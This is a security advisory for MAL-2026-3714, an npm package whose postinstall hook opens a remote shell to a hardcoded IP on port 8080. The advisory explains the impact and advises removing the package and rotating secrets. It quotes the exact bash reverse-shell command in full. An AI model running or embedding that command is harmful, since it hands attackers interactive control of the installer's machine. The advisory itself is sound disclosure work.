MAL-2026-3714 Malicious code in hello-world-pkg-value-value-p (npm)
- Package
- hello-world-pkg-value-value-p
- Registry
- npm
What is MAL-2026-3714?
MAL-2026-3714 is a malicious package in hello-world-pkg-value-value-p, published on 13 May 2026.
Official description
This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm…') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.
The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
What should I do about MAL-2026-3714?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.